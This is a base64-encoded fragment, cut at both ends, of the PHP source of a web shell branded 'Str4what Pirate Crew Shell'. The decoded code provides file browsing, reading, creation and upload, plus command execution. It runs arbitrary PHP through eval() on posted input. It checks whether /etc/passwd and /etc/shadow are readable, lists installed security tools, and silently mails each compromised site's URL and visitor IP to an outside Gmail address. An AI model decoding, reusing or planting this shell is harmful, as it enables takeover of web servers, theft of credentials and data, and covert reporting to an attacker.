Ugew0KICAgICAgICAgICAgJHVzZWZsID0gJyAtLS0tLS0tICc7ICRkd25sZHIgPSAnIC0tLS0tLS0gJzsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7IA0KICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOw0KICAgIH0gDQogICAgZWNobyAnPHRhYmxlIGNsYXNzPSJpbmZvIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxNjBweCI+PGRpdiBjbGFzcz0ibG9nbyI+PGltZyBzcmM9Imh0dHA6Ly9pNDQudGlueXBpYy5jb20vMTE3NW5rai5naWYiIGlkPSJsb2dvIiBoZWlnaHQ9Ijc1JSIgd2lkdGg9IjkwJSIvPjwvZGl2PjxociBzdHlsZT0ibWFyZ2luOiAtNXB4IDEzcHggMnB4IDE3cHg7d2lkdGg6MTYwcHg7Ij48ZGl2IGNsYXNzPSJlY2ExIj5TdHI0d2hhdDwvZGl2PjxkaXYgY2xhc3M9ImVjYTIiPlAxcmF0ZSBDcmV3PC9kaXY+PC90ZD4NCiAgICAgICAgICA8dGQ+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9Im5wb2FkIj48dHI+PHRkIHdpZHRoPSIxMjVweDsiPjxzcGFuPlVuYW1lPC9zcGFuPjwvdGQ+PHRkPjogPG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLic8L25vYnI+PC90ZD48L3RyPg0KICAgICAgICAgIDx0cj48dGQ+PHNwYW4+VXNlcjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5Vc2VmdWw8L3NwYW4+PC90ZD48dGQ+OiAnLiR1c2VmbC4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+RG93bmxvYWRlcnM8L3NwYW4+PC90ZD48dGQ+OiAnLiRkd25sZHIuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRpc2FibGVkIGZ1bmN0aW9uczwvc3Bhbj48L3RkPjx0ZD46ICcuKCRkaXNhYmxlX2Z1bmN0aW9ucz8kZGlzYWJsZV9mdW5jdGlvbnM6J0FsbCBGdW5jdGlvbiBFbmFibGUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/J0RyaXZlczxiciAvPkN3ZCc6J0N3ZCcpLic8L3NwYW4+PC90ZD48dGQ+OiAnLiRkcml2ZXMuJycuJGN3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4nLg0KICAgICAgICAgJzx0ZCB3aWR0aD0xPjxub2JyPjxzcGFuPlNlcnZlciBJUDwvc3Bhbj48YnI+PHNwYW4+Q2xpZW50IElQPC9zcGFuPjxiciAvPjxzcGFuPkhERDwvc3Bhbj48YnIgLz48c3Bhbj5GcmVlPC9zcGFuPjxiciAvPjxzcGFuPlBIUDwvc3Bhbj48YnIgLz48c3Bhbj5TYWZlIE1vZGU8L3NwYW4+PGJyIC8+PHNwYW4+RG9tYWluczwvc3Bhbj48L25vYnI+PC90ZD4nLg0KICAgICAgICAgJzx0ZD48bm9icj46ICcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+OiAnLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8YnIgLz46ICcudmlld1NpemUoJHRvdGFsU3BhY2UpLic8YnIgLz46ICcudmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJyPjogJy5AcGhwdmVyc2lvbigpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT48YnIgLz46ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPScuJGNvbG9yLic8Yj5PRkY8L2I+PC9mb250PicpLic8YnIgLz46ICcuJGQwYy4nPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicuDQogICAgICAgICAnPC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjU7YmFja2dyb3VuZDojNDQ0OyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkICM0NDQ7cGFkZGluZzoycHg7Ij48dGFibGUgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSIgY2xhc3M9Im1lbnUiPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+PC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjU7YmFja2dyb3VuZDojNDQ0OyI+JzsNCn0NCg0KZnVuY3Rpb24gcHJpbnRGb290ZXIoKSB7DQogICAgJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9IzY2OTlmZj5bIFdyaXRlYWJsZSBdPC9mb250PiI6Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiI7DQoNCmVjaG8gJzwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojNDQ0OyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkICM0NDQ7Ij4NCjx0YWJsZSBjbGFzcz0iaW5mbyIgaWQ9InRvb2xzVGJsIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPg0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ21rZGlyXCcsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPg0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUsXCdta2ZpbGVcJyk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0NvbnNvbGVcJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IiI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+DQogICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSJGaWxlc01BbiI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0idXBsb2FkRmlsZSI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+DQogICAgICAgIDxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+DQogICAgPC90cj4NCjwvdGFibGU+PC9kaXY+PC9kaXY+DQo8ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij5TdHI0d2hhdCBQaXJhdGUgQ3JldyBTaGVsbCcuVkVSU0lPTi4nLCAmY29weTsgWnliM3IgUHJpdmF0ZSBTaGVsbDwvZGl2PjwvZGl2Pg0KPC9kaXY+DQo8L2JvZHk+PC9odG1sPic7DQp9DQoNCmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0NCmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0NCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsndHJpbWl0ZSddKSl7DQogICAgJHVybD0kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJzxiciAvPlVzZXIgSVA6ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKT8nKCcuJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10uJyknOicnKTsNCiAgICBAbWFpbCgic3ltbGluay5ieXBhc3NAZ21haWwuY29tIiwic2hlbGxlZC1zaXRlcyIsJHVybCk7DQogICAgJF9TRVNTSU9OWyd0cmltaXRlJ109dHJ1ZTsNCn0NCg0KZnVuY3Rpb24gdmlld1NpemUoJHMpIHsNCiAgICBpZigkcyA+PSAxMDczNzQxODI0KQ0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7DQogICAgZWxzZWlmKCRzID49IDEwNDg1NzYpDQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7DQogICAgZWxzZWlmKCRzID49IDEwMjQpDQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7DQogICAgZWxzZQ0KICAgICAgICByZXR1cm4gJHMgLiAnIEInOw0KfQ0KDQpmdW5jdGlvbiBwZXJtcygkcCkgew0KICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOw0KICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7DQogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOw0KICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7DQogICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsNCiAgICBlbHNlICRpID0gJ3UnOw0KICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KICAgIHJldHVybiAkaTsNCn0NCg0KZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgDQogICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsNCiAgICBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQ0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7DQogICAgZWxzZQ0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMzMzk5Q0M+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsNCn0NCg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQogICAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7DQogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOw0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGZpbGVzOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgIGZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsNCiAgICAgICAgJHYgPSB0cmltKCR2KTsNCiAgICAgICAgaWYoJHYpIHsNCiAgICAgICAgICAgIGVjaG8gJzxzcGFuPicuJG4uJzogPC9zcGFuPic7DQogICAgICAgICAgICBpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkNCiAgICAgICAgICAgICAgICBlY2hvICR2Lic8YnI+JzsNCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLiR2Lic8L3ByZT4nOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIHNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsNCiAgICBzaG93U2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOw0KICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsNCiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQogICAgc2hvd1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsNCiAgICAkdGVtcD1hcnJheSgpOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpDQogICAgICAgICR0ZW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KICAgICAgICAkdGVtcFtdID0gIk1TU1FMIjsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCiAgICAgICAgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpDQogICAgICAgICR0ZW1wW10gPSAiT3JhY2xlIjsNCiAgICBzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7DQogICAgZWNobyAnPGJyPic7DQogICAgDQogICAgaWYoICRHTE9CQUxTWydvcyddID09ICduaXgnICkgew0KICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7DQogICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOw0KICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7DQogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcImV0Y1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7DQogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsNCiAgICAgICAgc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgew0KICAgICAgICAgICAgZWNobyAnPGJyPic7DQogICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30NCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30NCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSANCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQ0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsNCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyANCiAgICAgICAgc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxleCgnbmV0IGFjY291bnRzJykpOyANCiAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7DQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCiAgICAgICAgZXhpdDsgDQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQogICAgaWYoIGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpICkgew0KICAgICAgICBlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBwaHBpbmZvKCk7DQogICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHkgey4qfSFtc2lVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWE6XHcrIHsuKn0hbXNpVScsJycsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFoMSFtc2lVJywnaDInLCR0bXApOw0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5LCB0ZCwgdGgsIGgyLCBoMiB7Lip9IW1zaVUnLCcnLCR0bXApOw0KICAgICAgICBlY2hvICR0bXA7DQogICAgICAgIGVjaG8gJzwvZGl2Pjxicj4nOw0KICAgIH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KICAgICAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCiAgICBlY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTE